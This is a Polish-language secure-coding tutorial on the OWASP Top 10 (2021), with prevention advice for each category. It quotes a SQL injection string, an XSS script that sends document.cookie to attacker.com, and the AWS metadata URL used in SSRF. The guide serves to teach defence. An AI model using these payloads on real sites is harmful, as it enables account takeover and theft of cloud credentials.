Bezpieczne programowanie od podstaw: podatności OWASP Top 10
SQL injection, XSS i błędy uwierzytelniania powracają w wyciekach rok po roku. Dowiedz się, jak te podatności powstają w kodzie i jakie konkretne poprawki je eliminują.
Spis treści
- Dlaczego wciąż pojawiają się te same podatności
- A01: Broken Access Control (błędy kontroli dostępu)
- A02: Cryptographic Failures (błędy kryptograficzne)
- A03: Injection (wstrzykiwanie)
- A04: Insecure Design (niebezpieczny projekt)
- A07: Identification and Authentication Failures (błędy identyfikacji i uwierzytelniania)
- A05: Security Misconfiguration (błędna konfiguracja zabezpieczeń)
- Pokrewna A03: Cross-Site Scripting (XSS)
- A10: Server-Side Request Forgery (SSRF)
- Budowanie bezpiecznego cyklu wytwarzania oprogramowania
Dlaczego wciąż pojawiają się te same podatności
OWASP Top 10 to prowadzona przez Open Web Application Security Project lista najpoważniejszych zagrożeń bezpieczeństwa aplikacji webowych. Publikowana jest od 2003 roku. Wiele tych samych podatności pojawia się dekada po dekadzie — nie dlatego, że programiści o nich nie wiedzą, ale dlatego, że łatwo je wprowadzić pod presją czasu, a zapobieganie wymaga świadomego wysiłku.
Ten poradnik omawia najważniejsze w praktyce pozycje z edycji OWASP Top 10 z 2021 roku.
A01: Broken Access Control (błędy kontroli dostępu)
Kontrola dostępu pilnuje, by użytkownicy mogli robić tylko to, na co mają pozwolenie. Błędy kontroli dostępu to najczęstsza podatność w prawdziwych aplikacjach.
Przykłady:
- Użytkownik zmienia w adresie
?user_id=123na?user_id=124i widzi cudze zamówienie - Endpoint API zwracający wszystkie rekordy nie sprawdza, czy pytający jest ich właścicielem
- Zwykły użytkownik wchodzi na
/admin/delete-user, bo trasa nie jest chroniona
Zapobieganie:
- Egzekwuj kontrolę dostępu po stronie serwera, nigdy klienta
- Domyślnie odmawiaj: jeśli nie ma jawnego uprawnienia, odrzuć żądanie
- Stosuj kontrolę dostępu opartą na rolach (RBAC) lub atrybutach (ABAC)
- Loguj błędy kontroli dostępu i alarmuj przy powtarzających się próbach
A02: Cryptographic Failures (błędy kryptograficzne)
Ta kategoria, wcześniej nazywana „ujawnieniem wrażliwych danych”, obejmuje słabe lub brakujące szyfrowanie wrażliwych danych.
Przykłady:
- Hasła przechowywane otwartym tekstem lub jako skróty MD5/SHA-1 (nieprzeznaczone do przechowywania haseł)
- Wrażliwe dane przesyłane przez HTTP zamiast HTTPS
- Klucze szyfrujące wpisane na stałe w kod lub zacommitowane do repozytorium
Zapobieganie:
- Do haszowania haseł używaj bcrypt, scrypt lub Argon2 — nigdy samego MD5, SHA-1 czy SHA-256
- Wymuszaj HTTPS wszędzie; stosuj HSTS
- Rotuj sekrety i przechowuj je w menedżerze sekretów (AWS Secrets Manager, HashiCorp Vault — a nie w plikach
.envw repozytorium) - Nigdy nie loguj wrażliwych danych (haseł, tokenów, numerów kart)
A03: Injection (wstrzykiwanie)
Ataki typu injection mają miejsce, gdy niezaufane dane trafiają do interpretera jako część polecenia lub zapytania. Najsłynniejszym przykładem jest SQL injection, ale ta rodzina obejmuje też wstrzykiwanie poleceń systemowych, LDAP i inne.
Przykład SQL injection:
-- User input: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
-- Returns all users
Dane wpisane przez użytkownika (' OR '1'='1) zmieniają logikę zapytania, które zwraca wszystkich użytkowników.
Zapobieganie:
- Używaj zapytań parametryzowanych (prepared statements) — nigdy nie sklejaj danych od użytkownika z kodem SQL
- Używaj ORM, który automatycznie obsługuje parametryzację
- Waliduj i oczyszczaj wszystkie dane wejściowe
- Stosuj zasadę najmniejszych uprawnień dla kont bazodanowych — aplikacja webowa nie powinna łączyć się jako
root
A04: Insecure Design (niebezpieczny projekt)
Ta kategoria dotyczy fundamentalnych wad projektowych, a nie błędów implementacji. System może być perfekcyjnie zakodowany, a mimo to niebezpieczny z założenia.
Przykłady:
- Proces resetu hasła, który zdradza, czy e-mail jest zarejestrowany (umożliwiając wyliczanie kont)
- API zwracające cały obiekt użytkownika, gdy potrzebne jest tylko jego imię
- System bez ograniczenia liczby prób uwierzytelnienia
Zapobieganie:
- Przeprowadzaj modelowanie zagrożeń na etapie projektowania, a nie po fakcie
- Stosuj zasadę najmniejszych uprawnień na poziomie architektury
- Uwzględniaj wymagania bezpieczeństwa obok wymagań funkcjonalnych
A07: Identification and Authentication Failures (błędy identyfikacji i uwierzytelniania)
Słabe uwierzytelnianie i zarządzanie sesjami pozwalają atakującym podszywać się pod użytkowników.
Przykłady:
- Akceptowanie słabych haseł („password123” przechodzi)
- Brak unieważniania tokenów sesji po wylogowaniu
- Przechowywanie identyfikatorów sesji w adresach URL, które trafiają do logów serwera
- Brak blokady konta lub limitu prób logowania
Zapobieganie:
- Wymuszaj MFA dla wszystkich kont, zwłaszcza administratorów
- Używaj sprawdzonych bibliotek uwierzytelniania zamiast pisać własne
- Generuj długie, losowe tokeny sesji; unieważniaj je po wylogowaniu i po upływie limitu czasu
- Wprowadź limity żądań i CAPTCHA na endpointach logowania i rejestracji
A05: Security Misconfiguration (błędna konfiguracja zabezpieczeń)
Błędna konfiguracja to najczęstsze znalezisko w ocenach bezpieczeństwa. Wynika z niekompletnych konfiguracji, otwartych zasobników w chmurze, włączonych zbędnych funkcji, domyślnych haseł i zbyt szczegółowych komunikatów błędów.
Zapobieganie:
- Wzmacniaj konfiguracje według punktu odniesienia (CIS Benchmarks)
- Usuwaj domyślne konta i zmieniaj domyślne hasła
- Na produkcji wyłączaj listowanie katalogów, zbędne metody HTTP i endpointy debugowania
- Stosuj infrastrukturę jako kod, by konfiguracja była spójna i audytowalna
Pokrewna A03: Cross-Site Scripting (XSS)
XSS ma miejsce, gdy atakujący wstrzykuje złośliwe skrypty do stron oglądanych przez innych użytkowników.
Przykład:
Pole komentarza zapisuje <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. Każdy użytkownik oglądający stronę uruchamia skrypt, wysyłając swoje ciasteczko sesji atakującemu.
Rodzaje:
- Stored XSS — złośliwy skrypt zapisany w bazie danych
- Reflected XSS — skrypt zawarty w adresie URL i odbity w odpowiedzi
- DOM-based XSS — skrypt wykonywany przez JavaScript po stronie klienta
Zapobieganie:
- Koduj wszystkie dane wyjściowe — koduj dane użytkownika jako HTML przed wstawieniem ich w kontekst HTML
- Używaj nagłówka Content Security Policy (CSP), by ograniczyć, które skrypty mogą się wykonywać
- Korzystaj z nowoczesnych frameworków (React, Vue, Angular), które domyślnie kodują dane wyjściowe
- Nigdy nie używaj
innerHTMLz niezaufanymi danymi; wybierajtextContent
A10: Server-Side Request Forgery (SSRF)
Podatności SSRF pozwalają atakującym zmusić serwer do wysyłania żądań w niezamierzone miejsca — w tym do usług wewnętrznych niedostępnych z internetu.
Przykład:
Funkcja podglądu linków, która pobiera http://169.254.169.254/latest/meta-data/ w AWS, zwraca poświadczenia instancji chmurowej.
Zapobieganie:
- Waliduj adresy URL pobierane przez serwer i stosuj listę dozwolonych
- Blokuj żądania do prywatnych zakresów IP (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)
- Wyłączaj przekierowania HTTP przy pobieraniu zasobów
Budowanie bezpiecznego cyklu wytwarzania oprogramowania
Naprawa podatności po wdrożeniu jest 10–100 razy droższa niż zapobieganie im w trakcie tworzenia. Włącz bezpieczeństwo w proces wytwarzania:
- Modeluj zagrożenia dla nowych funkcji, zanim napiszesz kod
- Używaj linterów i narzędzi SAST (Semgrep, CodeQL, Bandit), by automatycznie wyłapywać problemy
- Przeprowadzaj przeglądy kodu z myślą o bezpieczeństwie
- Uruchamiaj narzędzia DAST (OWASP ZAP) na środowiskach testowych
- Śledź zależności i aktualizuj je — wiele wycieków wykorzystuje znane podatności w bibliotekach
Bezpieczeństwo to nie funkcja dodawana na końcu. To cecha jakości wbudowana w każdą decyzję — od projektu po wdrożenie.